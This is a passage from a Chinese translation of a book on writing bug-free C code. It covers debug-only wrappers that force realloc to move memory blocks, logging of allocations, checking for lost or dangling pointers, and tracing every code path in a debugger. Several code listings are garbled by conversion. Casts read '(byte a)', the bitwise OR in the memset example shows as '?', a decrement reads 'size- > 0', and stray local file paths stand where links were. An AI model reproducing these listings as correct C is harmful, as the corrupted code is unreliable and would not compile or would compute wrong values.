为了找到这样一个可以重现的错误，那真的花了很久的时间，不过我还是不知道为什么会出错，我每次追踪执行过那里，所有东西看起来都很漂亮。我不知道那些看起来很正常的资料原来是之前一个realloc留下来的垃圾。

不过真正的问题不在于我花了那么久的时间去找这样一个错误；而是花费了那么大的功夫才让这个错误能被准确重现。不只因为realloc在扩大内存块时把它搬家了，旧的内存还被重复使用，填上新的资料。在组译器中，这两件事同时发生的机率很小。

一条零错误程序写作准则这时浮现了。你不要任何机率很小的错误。你得找出子系统中可能发生的那些错误行为，确定它们真的会不会发生。常常，如果你发现子系统中有个少见的怪异行为，最好加些检查措施来盯住它。

如果realloc不是这么少将内存块搬来搬去的话，这个组译器的错误其实可以在几个钟头内就被发现，而不用等好几年。不过问题是，你该怎样强迫realloc把内存块更常搬来搬去？答案是你办不到，至少在你的操作系统允许你这么作以前，你是办不到。不过你可以仿真realloc的行为。如果有名程序员呼叫fResizeMemory来扩展一块内存的大小，你可以在fResizeMemory中藉由配置一块新的内存，复制旧内存块的内容到新的内存块中，然后释放本来的内存块，来达到搬移内存块地址的目标。把fResizeMemory改成如下的写法就能跟realloc的动作一模一样：

flag fResizeMemory(void **ppv, size_t sizeNew)

{

byte **ppb = (byte **)ppv;

byte *pbNew;

#ifdef DEBUG

size_t sizeOld;

#endif

ASSERT(ppb != NULL && sizeNew != 0);

#ifdef DEBUG

{

sizeOld = sizeofBlock(*ppb);

/* 如果要缩小一块内存，先将要释放掉的内存部分清理掉。

* 如果内存块要扩大，就强迫它搬到新的地址去（而不是原地

* 扩大）。

* 如果新旧大小一样，就什么都不作。

*/

if (sizeNew < sizeOld)

memset((*ppb)+sizeNew, bGarbage, sizeOld-

sizeNew);

else if (sizeNew > sizeOld)

{

byte *pbForceNew;

if (fNewMemory(&pbForceNew, sizeNew))

{

memcpy(pbForceNew, *ppb, sizeOld);

FreeMemory(*ppb);

*ppb = pbForceNew;

}

}

}

#endif

pbNew = (byte a)realloc(*ppb, sizeNew);

.

.

.

}

在上头，我已经加上了只有在扩大内存块时才会执行的程序代码。透过在释放旧内存块前配置新内存块的做法，可以确定内存块的地址一定会被搬动，除非内存配置失败。如果内存配置失败了，新的程序代码就像一大块什么都不作的程序了。

不过回想一下我在里头加了什么东西。这些新加上的程序不只强迫内存块的搬移，还－多了个副作用－会清理掉旧内存块的内容。这副作用出现在FreeMemory将内存块释放掉时。

现在你也许在想，"既然这程序仿真了realloc，为什么它还要呼叫realloc？"毕竟，你觉得应该可以在新程序代码里头加个return来让整个函式跑更快一些：

if (fNewMemory(&pbForceNew, sizeNew))

{

memcpy(pbForceNew, *ppb, sizeOld);

FreeMemory(*ppb);

*ppb = pbForceNew;

return (TRUE);

}

你可以那样作，没错，但是不要那样作－那是个坏习惯。记住，除错码对整个程序而言只是额外的东西，而不是让程序变得不一样的东西。除非你有令人信服的理由不执行发行版程序中的程序代码，不然你应该要让发行版程序的程序代码被执行到，即使这样作是多余的。毕竟，没有比执行一个程序更好的除错方法，你应该要尽可能让发行版程序的程序代码在除错时被执行到。

有时在我把这节的观念解释给程序员们听时，会有人说总是把内存搬来搬去跟没搬一样糟糕－他们说我只是把事情的做法写成了另一个特例而已。这样的看法值得多提一下。

如果在除错版跟发行版的程序中总是这样作或从来不这样作，当然是一样糟糕的事情。但在这例子中，发行版的fResizeMemory跟在除错版时的表现是不一样的。

很少出现的错误当然不构成问题，只要你能在除错版时逼它常常出现，而让它在发行版的程序中不会出现的话。

如果出现了不太常发生的错误，就制造一个环境让它经常发生吧。

保存内存配置的纪录

内存管理器的问题－从除错的观点看来－在于当你刚配置一块内存时，你虽然知道它的大小，但你会几乎立即失去这个信息，除非你在某个地方保留一份纪录。你已经晓得sizeofBlock这函式多么有用了，可是再想想，如果知道有多少块已配置的内存跟他们的位置，会多有用呢？如果你晓得这些信息的用处，我就可以随便丢给你一个指针，让你告诉我这指针有没有指向一个正确配置的内存块位置。想想这会多有用处啊，尤其在检查传递给函式的指针参数时。

假设你有个函式fValidPointer，取得一个指针跟大小参数后，它会在这个指针正确指向一块给定大小的内存时传回TRUE。那藉由这个函式，你就可以写出特定用途而参数检查更严格的常用函式了。举例来说，如果你发现自己经常把资料填入配置到的内存中，你就可以略过memset而使用你自己那个会检查指针参数正确性的FillMemory子程序了：

void FillMemory(void *pv, byte b, size_t size)

{

ASSERT(fValidPointer(pv, size));

memset(pv, b, size);

}

藉由呼叫fValidPointer，你可以确定pv指向一个合法的内存块，而且至少配置了size个字节给这内存块，这远比memset的NULL指针测试要更有力多了。这是个以速度跟程序大小交换安全性的例子。

或者，你也可以选择在除错版的程序中呼叫FillMemory而在发行版的程序里直接呼叫memset. 你可以在发行版的程序中加上一行这样的宏来达到这个目的：

#define FillMemory(pb,b,size) memset((pb),(b),(size))

不过我不是要提这个。

我要说的是，如果你在除错版的程序中提供额外信息，你往往可以提供更强悍的错误检查功能。

到现在为止，你已经看过如何用sizeofBlock在FreeMemory跟fResizeMemory中清理内存块的内容，可是清理内存内容跟保留一份每个内存块配置的信息比较起来，前者的效力就弱多了。

再来假设一下最糟的状况：你没办法从子系统中取得内存配置的信息。对一个内存管理器而言，最糟的状况代表你不能取得一块内存的大小，你没办法分辨一个指针是否有效，你也没办法分辨有一块内存还是一堆内存块。如果你需要这些信息，你得自己提供这些东西，也就是说自己纪录配置了哪些内存。你怎么纪录不打紧，要紧的是你必须在需要的时候取得它。

这里有个维护这些纪录的可行办法：在使用fNewMemory配置一块内存时，多配置一块纪录项目；当你使用FreeMemory释放一块内存时，把纪录信息一起释放掉；当你使用fResizeMemory改变内存块的大小时，就更新纪录信息来反映新内存块的位置跟大小。不用惊讶，这三个动作可以被分离成三个除错接口：

/* 帮新内存块建立一笔记录。 */

flag fCreateBlockInfo(byte *pbNew, size_t sizeNew);

/* 释放一块内存的纪录信息。 */

void FreeBlockInfo(byte *pb);

/* 更新一块现成内存的信息。 */

void UpdateBlockInfo(byte *pbOld, byte *pbNew, size_t sizeNew);

当然，这些子程序怎么维护纪录信息是不太重要的事情，只要他们不会把系统拖慢到不能用的地步就好了。你可以在附录B中找到实作这些内存配置纪录功能的程序代码。

更动FreeMemory跟fResizeMemory来呼叫适当的内存配置纪录函式是挺简单的一件事。改过的FreeMemory变成

void FreeMemory(void *pv)

{

#ifdef DEBUG

{

memset(pv, bGarbage, sizeofBlock(pv));

FreeBlockInfo(pv);

}

#endif

free(pv);

}

在fResizeMemory中，如果realloc成功改变了内存块的大小，你可以呼叫UpdateBlockInfo. 如果realloc失败了，就不用更新任何东西。fResizeMemory的尾端变成

flag fResizeMemory(void **ppv, size_t sizeNew)

{

.

.

.

pbNew = (byte a)realloc(*ppb, sizeNew);

if (pbNew != NULL)

{

#ifdef DEBUG

{

UpdateBlockInfo(*ppb, pbNew, sizeNew);

/* 扩大内存块时，初始化尾端的新区域。 */

if (sizeNew > sizeOld)

memset(pbNew+sizeOld, bGarbage, sizeNew-

sizeOld);

}

#endif

*ppb = pbNew;

}

return (pbNew != NULL);

}

修改fNewMemory有点复杂些，所以我留到最后才讲。当你呼叫fNewMemory配置内存块时，系统必须配置两块内存出来：一块给你，另一块给fNewMemory纪录配置给你的内存的信息。一个fNewMemory呼叫要成功，两个内存配置的呼叫都必须要成功才行；不然你就会有块没有纪录的内存了。这一点是重要的，因为没有纪录的内存会在任何一个有检查指针参数正确性的函式时中被除错检查宏的检查栏下来。

在接下来的程序代码中，你将看到fNewMemory成功配置一块内存后却没办法配置纪录用的内存块时,它会把第一块内存释放掉，然后伪装成内存配置失败的情形。这样让内存系统与纪录信息保持同步状态。

flag fNewMemory(void **ppv, size_t size)

{

byte **ppb = (byte **)ppv;

ASSERT(ppv != NULL && size != 0);

*ppb = (byte a)malloc(size);

#ifdef DEBUG

{

if (*ppb != NULL)

{

memset(*ppb, bGarbage, size);

/*

如果没办法配置纪录内存块信息所需的内存，

就伪装成内存配置失败的情形。

*/

if (!fCreateBlockInfo(*ppb, size))

{

free(*ppb);

*ppb = NULL;

}

}

}

#endif

return (*ppb != NULL);

}

现在你有了内存系统的完全掌控，你可以轻松写出sizeofBlock跟fValidPointer函式（你也可以参考 附录B <C:Documents and SettingsAdministrator.KINGRON桌面\u23436完美模式设计指南default.asp?isbn=957-8239-22-X_103> ）或任何有觉得有用的东西了。

留下除错纪录可以强化错误检查的功能。

不要等到错误被用到

到现在为止，我所建议的每个修改动作都帮你在错误出现时找出它们来。这很好，不过不是自动的。想想稍早提到的deletenode子程序的例子，如果这程序呼叫FreeMemory来释放一个节点，然后留下一个错误指针在树状结构中，如果这些指针从来没被用到，你会发现这样的错误吗？当然不会。那如果我在fResizeMemory中忘了呼叫FreeMemory呢？

if (fNewMemory(&pbForceNew，sizeNew))

{

memcpy(pbForceNew，*ppb，sizeOld);

/* FreeMemory(*ppb); */

*ppb = pbForceNew;

}

不确定原理与其它鬼怪

有时在我对程序员解释使用除错检查的观念时，有人会关切加上这样的测试码会不会有什么麻烦发生。海森堡的不确定原理这时就开始作怪了。

无疑的，除错码会在你程序的发行版跟除错版间产生差异，不过只要你小心不去动到程序的行为方式，这样的差异应该可以忽视不计。fResizeMemory的除错版会更常搬动内存块的位置，可是它不会改变程序的基本行为。相似的，fNewMemory会在除错版中配置比你要的更多的内存（用来存放内存配置纪录的信息），可是它不会影响到你程序的行为。如果你希望fNewMemory或malloc确实在你要配置21个字节的内存时就只给你那么多内存，那不管你有没有加上除错码，都会碰到麻烦。为了遵守内存地址对齐的问题，内存管理器经常会配置比你要的更多的内存。

另一个论点是，除错码本身会让程序变胖，因而占用更多内存。不过你得记住一点，除错版本出现的用意在于找出错误来，而不是让内存发挥最大用处。也许你没办法加载你手上最大的电子表格资料或是编辑最大的文件，或者你的程序作不到任何要吃很多内存的动作，那都无妨。最糟糕的情形是，你会比正常更快耗光可用内存，比往常更常触动你的错误处理程序。最好的情形则是除错码不用太费事就快速抓出了错误的地方。

我制造了一只躲着的臭虫。它躲着，因为没有任何东西会因为这样子而出错。不过每次你执行程序时，你就会"失去"一块内存，因为唯一参考到它的指针已经在你把pbForceNew的值指派给*ppb时毁掉了。除错码能捉出这个错误吗？完全不行。

如这样的错误与其它稍早提到过的问题不同的地方在于，没有任何非法行为浮现台面。就好比坏人如果都不出城，那在出城的路上设下路障有什么用一样。到目前为止所提到过的除错码的写法，在捕捉让错误资料从来不会被用到的错误时完全没用。

要找出这些错误，你得在程序中到处查探。不是坐着等错误出现，而是自己去找。

在第一个例子中，你有一个指向已释放内存的指针。在第二个例子中，你有一块失去参考指针的已配置内存。这些错误通常不好找，不过你手上有除错信息，你可以用这些信息来找出它们来。

想想你在银行中怎么寻找错误：你有一串你认为你握在手上的资金纪录；银行有一串它认为你借了的资金纪录；只要比对两份纪录，就能找出错误来。这样子你会发现错误指针跟遗失内存块的问题其实没差别，你只要比较存放在你自己的数据结构中的已知指针的纪录跟存放在除错信息中那份已知配置内存块的纪录，你就能找出一个指针是否没指向已配置的内存，或者一块内存没有任何指针参考到它。

不过程序员们－特别是经验老到的程序员们－对这个检查每个数据结构中的指针的想法会犹豫不决，因为追踪这些东西似乎是困难的，即使可行的话。事实上，只有写得最差的程序才会把一堆指针分开来放。

举例来说，稍早提到的68000组译器会配置753个符号名称所需的内存，可是它不会追踪753个整体变量的值，当然不能用那么笨的方法。它用一个数组，一个杂取表，一个树状结构或一个简单的串行来作这件事。也许会有753个符号名称，可是要检查这些东西很简单，而且不用多大的程序代码就作得到。

要把一串存在数据结构中的指针跟除错信息中存放的内存配置串行进行比较，我定义了三个函式，与上一节提到的信息搜集子程序搭配在一起－你可以在附录B找到这些东西的实作：

/* 将所有内存块标示成为没被指针指到。 */

void ClearMemoryRefs(void);

/* 将一块内存标示成被pv指到。 */

void NoteMemoryRef(void *pv);

/* 检查参考旗标，找出遗失的内存块。 */

void CheckMemoryRefs(void);

这些子程序的用法很简单。首先，你呼叫ClearMemoryRefs将除错信息初始化。然后检查整体数据结构，并呼叫NoteMemoryRef，这么会作检查指针的正确性，同时标示有指针参考到的内存块。一旦完成了这个步骤，每个指针应该都被核对过了，而每一块内存也应该都有个被参考到的旗标。最后，呼叫CheckMemoryRefs来检查是否每个内存块都被标示成参考到了；如果CheckMemoryRefs发现一块未标示的内存，它就会发出警告，告诉你找到遗失的内存块了。

看看这些子程序怎么用来核对68000组译器中的指针吧。为了简单起见，假设组译器的符号表以二元树存放，每个节点长得像这样：

/*

* "symbol"是个符号名称的节点定义。

* 每个定义在使用者的汇编语言原始码中的符号都会配置一个节点。

*/

typedef struct SYMBOL

{

struct SYMBOL *psymRight;

struct SYMBOL *psymLeft;

char *strName; /* 文字表示式 */

.

.

.

} symbol; /* 命名方式： sym，*psym */

上头只列出三个指针字段。前两个字段式指向左子树跟右子树的指针；第三个则是个零字符结尾的符号字符串。一旦你呼叫过ClearMemoryRefs，你在处理这个树状结构时就得注记一下你用的每个指针。我把这些程序从一个除错专用的函式中分离出来：

void NoteSymbolRefs(symbol *psym)

{

if (psym != NULL)

{

/* 继续执行前，先检查目前节点的正确性。 */

NoteMemoryRef(psym);

NoteMemoryRef(psym->strName);

/* 检查两个子树的正确性。 */

NoteSymbolRefs(psym->psymRight);

NoteSymbolRefs(psym->psymLeft);

}

}

上头的程序代码对整个符号表以前序处理的方式进行指针的检查。正常说来，由于符号表是存成中序树状结构，我应该用中序处理的方式才对，可是我没有这么作，因为我想在跳过一个节点以前先检查它。这样作需要以前序搜寻的方式进行。如果你采用中序或后序进行的处理方式，你必须在检查psym以前先使用它提供给你的指针，那可能会让这函式在递归许多遍以后让系统当掉。是的，错误出现了，可是一个控制良好的除错检查宏发出的警告比一个随机性的当机更好找出原因来。

一旦你写好了其它数据结构用的Note-Ref子程序，将它们包装在单一个子程序中，这样你就可以从程序的任何地方呼叫它们了。对我的组译器来说，这个子程序会长得像这样：

void CheckMemoryIntegrity(void)

{

/* 将所有区块标示成未参考到。 */

ClearMemoryRefs();

/* 注记所有已知的整体内存配置。 */

NoteSymbolRefs(psymRoot);

NoteMacroRefs();

.

.

.

NoteCacheRefs();

NoteVariableRefs();

/* 确定所有东西都正常。 */

CheckMemoryRefs();

}

唯一剩下的问题是，你怎么呼叫这个子程序？显然，你得经常呼叫它，不过呼叫的时机取决于你的程序怎么写的。至少，你应该在你准备使用子系统时呼叫它。更好一点，你应该在你的程序等待使用者输入时呼叫它，不管是案件输入、鼠标移动或是拨动某个硬件开关。你也可以在同样的时机检查其它的问题有没有出现。

建立彻底的子系统检查，经常作检查。

知道了就很明显的事

Robert Cialdini博士在他的Influence: How and Why People Agree to Things (Morrow，1984)一书中指出，如果你是个销售员，有人走进你的男装店想买件毛衣跟套装，你应该先给那个人看看套装，然后再让他看毛衣。你的销售额就会更好，因为在你卖给一个人500元的套装后，一件80元的毛衣就显得很便宜了。不过如果你反过来作，你的顾客会觉得80元的毛衣太贵了，他要35元的就好了。很明显，任何人都可以在半分钟内想到为什么这么作，可是多少人会这么作呢？

同样的，有些程序员也许会觉得挑选bGarbage的数值是简单的事情－就挑任一个老数字就好了。其它程序员也许会觉得在处理符号表的树状结构时，不管怎么递归处理都不打紧，管他是前序、中序还是后序处理？不过，就如我前面指出的，有些选择就是比别的选择要来得好。

如果你发现自己在处理实作细节时作出了随便的选择，停下来思考半分钟，看看会发生什么事；对每件可能发生的事情，问问你自己，"这会产生问题，还是会帮我找出问题？"如果你对bGarbage值的问题作出同样的询问，你就会看到挑选0会制造问题，而挑选0xA3会帮你找出问题来。

小心设计测试检查。

没有东西是可以随便来的。

不用知道的事

你当然也会碰到过必须先知道一堆东西才会用的测试方式。fValidPointer就是个例子；如果你不知道有这东西，你当然就不会用它。不过最好的测试方式是透明的－无论程序员知不知道这些东西，它们都会运作着。

假设一名菜鸟程序员或不熟悉项目的人加入你的团队中。这个人难到不能在不清楚fNewMemory，fResizeMemory跟FreeMemory这些东西怎么运作的前提下使用这些测试函式吗？

如果一名新进程序员不晓得fResizeMemory可能会搬动内存块的位置而产生一个如我的组译器中出现的错误一样的问题呢？这个人得知道那些子系统整合度检查怎么作，才能让系统丢出一个非法指针的警告吗？

假设一名新程序员制造了一大堆遗失的内存块。再一次的，一堆检查动作了，并且告诉这个人程序中有遗失内存块的错误。这名新程序员甚至可能不晓得什么是遗失的内存块；他或她当然也不用晓得这些检查是怎么进行的。最好，经由找寻错误的根源，这名菜鸟会了解什么是遗失的内存块－而不用花一名老程序员的时间来教这名菜鸟。

这就是设计完善的子系统测试的厉害之处－当它们逮到一只臭虫时，它们会揪住这个错误，把问题报告出来，打断你正常的时间规划来处理这个问题。你去哪里找比它们回报状况报得更好的测试员呢？

积极实作透明的整合度检查。

不要把除错版的程序发行出去

我晓得在本章中对内存管理器已经加上了一大堆程序代码。有些程序写作者也许会认为，"这些东西似乎值得，可是全都加上去的话，再加上那些纪录信息的程序代码就真的太多了。"我得承认，我也有过这种感觉。

我对在程序中加上这么多没效率的东西曾经有过直觉的反感，可是我很快就了解我错了。在一个公开发行版的程序中加上这些东西，当然会让它在市场上一败涂地，可是我们只在除错版的程序中加上这些检查。当然，除错码降低了执行效率，不过哪件事情比较糟糕？让你的零售产品当死在使用者面前，或者你的内部除错版在帮你找寻错误时会跑得比较慢？你应该不用太担心除错码的效率问题。毕竟，你的顾客不是拿那个版本来用的。

对使用的感觉上，区别除错版跟发行版程序是重要的。你拿除错版的程序来找寻错误，拿发行版的程序来讨好顾客。就因为这样，两个版本之间的程序代码效率跟代价也是截然不同的。

记住，当你的产品必须满足顾客对大小跟速度的需求时，你可以在自己的除错版程序中作任何你认为可以用来找出错误的事情。如果加上内存管理器对已配置内存的纪录信息可以帮你找出各种骯脏的臭虫，那一定会皆大欢喜的。你的使用者有个跑得快又好的程序，而你自己则不用花很多时间跟精力来找寻问题。

历史注记

微软惯于经常性的发出除错版的程序给公开测试人员，让它们帮忙找出更多错误。因为有本叫做"抢鲜版"（Prerelease）的杂志上的一篇报导，微软公司一度停止这么作－根据产品的除错测试版－这篇报导判定，微软的程序很好，可是跑得跟三指树獭一样慢。如果是你，当然也会觉得这是个警讯。不要把除错版丢给测试人员，不然就告诉他们这个除错版里头有些内部除错检查会拖慢执行速度。如果你的程序会显示开头讯息，最好在上头声明这一点。

微软的程序员经常在程序中加入除错码。Microsoft Excel，就是个例子，包含一个内存子系统测试（比这里提供的那些更完整），一个储存表整合度测试，跟人工假造内存配置的机制，让测试人员可以强迫程序执行内存用完了的错误处理程序，还有其它一大堆检查。不用说，Excel没问题了才会推出－它有内存子系统检查－可是在给末端使用者的发行版本里头几乎不会有这些东西。

我知道我在本章中加上了一大堆内存管理器相关的程序代码，不过你可以想想：所有新的程序代码都写在包装函式fNewMemory，FreeMemory跟fResizeMemory中；没有半个是加在呼叫这些函式的程序里头，也没有半点需要加在malloc，free跟realloc的实作中。

而速度也没有你预期的下降那么多。如果微软的结果是典型的例子，那除错版的程序－加满了除错检查宏跟子系统检查的－大约有发行版本的程序执行速度的一半。

不要将发行版的限制加到除错版上。

用大小跟速度作为代价来找寻错误。

现在就把错误找出来，不要等以后再找

本章中，我提供了半打的方式来加强内存子系统的检查，不过这些做法也可以用到其它方面。想象一下怎么可能有错误跑得过彻底自我检查的程序眼线呢？同理可推，如果这些除错检查被用在我提到的那个68000组译器中，那个难以理解的realloc问题就不用花上好几年来找，而会自动在程序第一次写出来的几个小时或几天内被找到。我不在乎一名维护程序的程序员是否技术高超或是菜鸟一个；这些测试都能抓得住臭虫。

事实上，这些测试应该已经抓住所有类似的错误了。自动的，而不用任何运气或技巧。

这就是你该怎样写出零错误程序的方法。

快速回顾

? 检查你的子系统，问问你自己，程序员们可能会怎么误用它。加上除错维护叙述跟核对检查来捕捉不好找跟常见的错误。

? 如果你不重复找寻，就修不好错误。找寻任何可能造成随机行为的东西，把它们从除错版程序中拿掉。将未初始化的内存以某个垃圾值填满只是一种去除随机行为的办法，那样子如果有参考到未初始化内存的情形发生，你就可以在每次执行到出错的程序时都能重复同样的现象。

? 如果你的子系统释放内存（或其它资源）然后制造垃圾，请清理被释放的内存中的内容，让里头的东西看起来像垃圾；不然别处的程序可能会继续使用这些已释放内存中的东西而不被察觉。

? 类似的，如果你的子系统有些可能会发生却不一定发生的行为，加上除错码来确定这些行为一定会发生。让每件事都发生过可以增进你捕捉到较少执行到的程序中出现的怪异现象。

? 确定你的测试工作在程序员没注意到时都在进行着。最佳的测试方式就是那些完全不用在乎它们的存在的测试。

? 如果可能，将测试码建立在子系统里头，而不要写在它们上头。不要等到子系统已经写好了，才来想办法查对它们的动作正不正确。对每个你考虑的设计方式，问问你自己，"我该怎样彻底查对这个实作？"如果你发现几乎不可能或难于测试这个实作方式，好好考虑一下是不是该换个设计方式，即使那表示拿程序大小跟执行速度为代价来让系统可被测试。

? 在拿掉一个让程序跑得很慢或吃很多内存的查核测试前，多想一遍。记住，查核程序代码不会出现在发行版的程序里。如果你发现自己想着，"这些测试太慢了（或太大了）"，停下来，问问自己，"我该怎样让这些测试继续留着，而让程序跑快一点（或变小一点）？"

该想想的事

1. 在测试程序时，你碰到了一大堆0xA3之中，你知道你大概用了未初始化的资料或是已经释放了的内存块。你该怎么改变除错码，让它更好决定你碰到了哪一种情形？

2. 程序员们偶尔写出会盖过已配置内存末端的程序。描述一下你该怎么增强内存子系统的检查来找出这类的问题。

3. 虽然CheckMemoryIntegrity子程序会抓出指向已释放内存的非法指针的问题，它也有找不到问题的时候。举例来说，假设你有个函式呼叫了FreeMemory，可是函式中的错误留下了一个指向已释放内存的指针。更进一步，假设在这指针被核对正确与否以前，有程序呼叫了fNewMemory，并重新配置了一块之前释放掉的内存。然后那个错误的指针指向了刚被配置的这块内存，虽然这个内存块已经不是这指针本来所指向的那一块了。这当然是个错误，可是CheckMemoryIntegrity也找不出这问题来，每件是看起来都好好的。如果这在你的程序中是个常见的问题，你该怎样增强系统来找出这些问题？

4. 借着NoteMemoryRef子程序，你可以查核每个程序中的指针，不过你要怎么检查内存块的大小？举例来说，假设你有个合法的指针指向一个18个字符长的字符串，可是内存块的大小小于那个字符串的话，你该怎么办？或者反过来，你的程序认为它配置的内存有15个字节的空间，可是内存置纪录信息显示你配置了118个字节？这通常是很不好的情形，你该怎样强化整合度检查来找出这些问题？

5. 附录B中的NoteMemoryRef子程序让你能将一块内存标示为已被参考状态，但是它不会在碰到一个内存块被参考五次而实际上只被参考一次时警告你。举例来说，一个双向连结串行应该对某个节点都有两次参考：一个是前向指针，一个是后向指针。不过在大多数情形下，你的内存块只会有一次参考，如果有超过的情形，某个地方一定出错了。你该怎样改善整合度检查来让多重参考情形能被除错检查宏判断，并找出不应该发生的情形？

6. 综观本章，我提到你可以在内存系统中加上帮程序员找出问题的除错码。可是该怎么加上程序代码来帮助测试员找出问题？测试员知道程序员们常常会搞错错误状态应该怎么处理，所以你该怎样让测试员能够伪造内存不足的情形？

学习计划：

检查你程序的主子系统。你能用怎样的除错码来捕捉跟这些子系统相关的常见错误？

学习计划：

如果你没有操作系统的除错版本，尽可能取得一份；不然运用包装功能的技巧，自己写一个。如果你觉得自己很好心，还可以把这份自己写的包装功能公开出来－以某种形式－给其它程序开发者。


程式碼的追蹤除錯

程式碼的追蹤除錯

我之前说过，找寻程序错误最好的方法就是执行程序，然后盯着它跑，无论是用眼睛或是用些自动化测试工具，如除错检查宏跟子系统整合度检查。不过除错检查宏与子系统检查虽然都有用，它们却不能帮你避开你没想到的错误；在这方面，它们跟家里的保全系统没两样。

如果你在家里的门窗都装上了铁条，而小偷还是能从楼顶或地下室进来，那保全系统的警报当然就不会响了。如果你在录像机、音响跟其它你认为小偷会偷的东西上装了警报器，而小偷却搬走了贵重珠宝组合，那当他偷你东西时，你根本不会察觉到。相似的，如果你对函式的参数使用除错检查宏进行核对，而臭虫是来自你的逻辑错误上的，那你设下的除错检查宏对这样的错误是根本不会有反应的。

理论上，你可以在程序中设下非常多除错检查宏跟除错程序代码，让臭虫很快就会被这些警报系统逮个正着。理论，只是理论。现实中，在大部分程序项目里加入很多除错程序代码可能只是浪费时间，而且你还是得预先判断好程序的哪边可能有错误。

与其加入一大堆除错检查宏跟除错检查，一个更好的办法是主动在错误可能发生时主动去找出错误来。不过，怎么做呢？你不是已经改好程序了吗？如果在你改过程序后，错误才出现，那你要明白，程序不会自己出错的－一定是你改了某些东西，才让它出现错误。

写出零错误程序代码的最好办法就是主动追踪所有新的或改过的程序代码，检查它们的执行状态，看看是不是每个动作都如你预期的般执行。

在本章中，我要谈的不只是为何追踪程序执行是件重要的事，还会谈到如何有效的做好这件工作。

增进对程序的自信

最近，我在替微软内部的麦金塔程序开发系统发展一个新功能。当我开始测试这个新功能时，我找到一只臭虫，追着它，跑到了另一名程序员写的新程序代码中。这只虫让我迷惑的地方是它跟其它程序员写的功能如此相关，我不知道别人写的功能大概怎样子才算是正常运作的状态。我去找那位先生谈了一下。

"我想我在你刚完成的程序中找到一个错误"，我说。"你有时间简单看一下吗？"

他将程序加载编辑器中，然后我告诉他我认为错误在哪里。当他看了那边的程序，他吓了一跳。

"你说对了；这程序是错的。我不知道为什么测试时没抓到这个问题。"

我也想到同个问题。"你是怎样测试这段程序的？"

他解释了一下，那样作应该能抓到这只虫才对，这让我们都搞迷糊了。"在这函式中放个断点，追踪一下程序的运作，看看到底发生了什么事吧"，我建议。

我们试了一下，却发现当我们设好了断点并按下执行键，整个测试跑得好好的；完全没碰到我们设下的断点。这就是为何那位先生没找到错误的原因。没花多久，我们就找到为何测试动作没碰到那个断点－在整个呼叫链中，一个上头好几层处的函式里头被最佳化编译器跳掉了些东西，使一些非必要的呼叫完全不会被执行到，所以也跳过了后来加上的新程序代码。

你还记得我在第一章提到过黑箱测试的问题吗？我说测试人员对程序丢入输入资料，再从输出结果判断程序有没有正确运作－如果输出正确，就当作程序正确执行。这样做法带来的问题是，你没办法判断在输入与输出之间发生了什么事。上头那位程序员漏掉了那个错误，只因为他将程序当成黑箱子来测试；他放入一些输入资料，得到了正确结果，然后就判断程序是正确的。身为一名程序写作者，他没使用他能用到的额外工具来进行测试。

程序写作者们，不同于大部分测试者，有着在程序中设定断点的能力，他们可以追踪程序的执行，观看输入资料如何产生输出结果。奇怪的是，只有少部分程序员有测试程序时追踪程序执行过程的习惯；许多人根本不会在程序中设定断点来看看程序有没有正确执行。

回到我在本章开头所提到的：捕捉错误最好的办法就是在你写程序或改程序时就把它们找出来。而程序员测试程序最好的办法是什么？就是追踪程序执行，拿个工具来看看中间过程的结果。我不认识太多写出来的程序都没错误的程序员，但是我认识的那些人都有从头到尾追踪自己程序执行结果的习惯。

作为一个项目领导人，我要许多程序员在测试时追踪他们自己写的程序。几乎每个人都吓到了－不是因为他们不同意这个做法，而是因为这个做法听起来很耗时。他们已经很难跟得上程序发展的时间表了－他们要去哪里找时间来追踪自己的程序？

幸运的，他们的直觉反应是错的。是的，追踪程序需要花时间，可是只占写程序时间中的一小部份。想想看，当你写了个新功能，你必须设计这功能被使用的方式，想出其中的算法而且实际将它写成原始码。那在你第一次执行这程序时，设一下断点，在每一行原始码上按一下追踪执行键要花多少时间？不多，特别当你已经将它养成习惯时。就好象学开一部手排车－刚开始似乎不可能，但在几天的练习后，你甚至不会注意到排档的切换过程；你自然而然就会切换排档了。同样的，只要你养成了追踪程序执行的习惯，你自然而然就会设下断点并追踪程序执行过程。然后你就抓到以前抓不到的错误了。

不要等到有错误发生了才来追踪程序代码的执行。

程序中的分岔

当然有些技巧可以让你更有效的追踪程序的执行。毕竟虎头蛇尾的追踪程序没什么好处。例如，每个程序员都知道错误处理程序经常会出错，因为那部分很少被测试到，而错误就会留在那里，除非你努力测试那些程序。你可以制造一些产生错误状况的测试码，也可以在你追踪程序执行时仿真错误的发生。仿真错误发生通常需要花更少时间，看看下面这段程序段落的例子：

pbBlock = (byte *)malloc(32);

if (pbBlock == NULL)

{

处理错误状况;

}

一般说来，当你追踪执行这段程序时，malloc会配置一块32字节大小的内存，并传回一个非NULL的指针，让这程序跳过错误处理码。所以我们可以在第二次追踪执行这段程序时，利用除错程序在执行过底下这行后，将pbBlock的值设成NULL指针：

pbBlock = (byte a)malloc(32);

malloc会配置内存，但如果我们把pbBlock设成了NULL指针，对你的程序来说，就好象内存配置失败了一样，让你能够追踪错误处理程序的执行状态。（给追根究底的读者们：是的，你改变pbBlock的内容时会失去指向malloc配置的内存的指针，不过这里只是在进行一个测试而已。）

除了追踪错误状况的处理情形，你也应该看看程序中每一种状况的执行流程。会出现多个执行流程的常见例子就是if跟switch叙述，不过还有别种：&&，||跟?:运算子也都有两条执行路线。

这么做的想法是追踪程序中每一条执行路线至少一次，以确保程序的正确无误。在你完成这项工作后，你可以更加确信自己的程序是没有错误的－至少你知道这个程序在某些输入状态下会正常运作。而如果你挑选的测试样本够好，追踪执行程序运作所能得到的经验将会让你难以忘怀。

追踪执行每一条执行路线

资料流－程序的命脉

在 第二章 <C:Documents and SettingsAdministrator.KINGRON桌面\u23436完美模式设计指南default.asp?isbn=957-8239-22-X_202> 中，我写了个快速的memset子程序，底下是那子程序的第一版（略掉了除错检查宏）：

void *memset(void *pv, byte b, size_t size)

{

byte *pb = (byte a)pv;

if (size >= sizeThreshold)

{

unsigned long l;

/* 以四个字节拼组成一个常整数。*/

l = (b<<24) ? (b<<16) ? (b<<8) ? b;

pb = (byte a)longfill((long a)pb, l, size / 4);

size = size % 4;

}

while (size- > 0)

*pb++ = b;

return (pv);

}

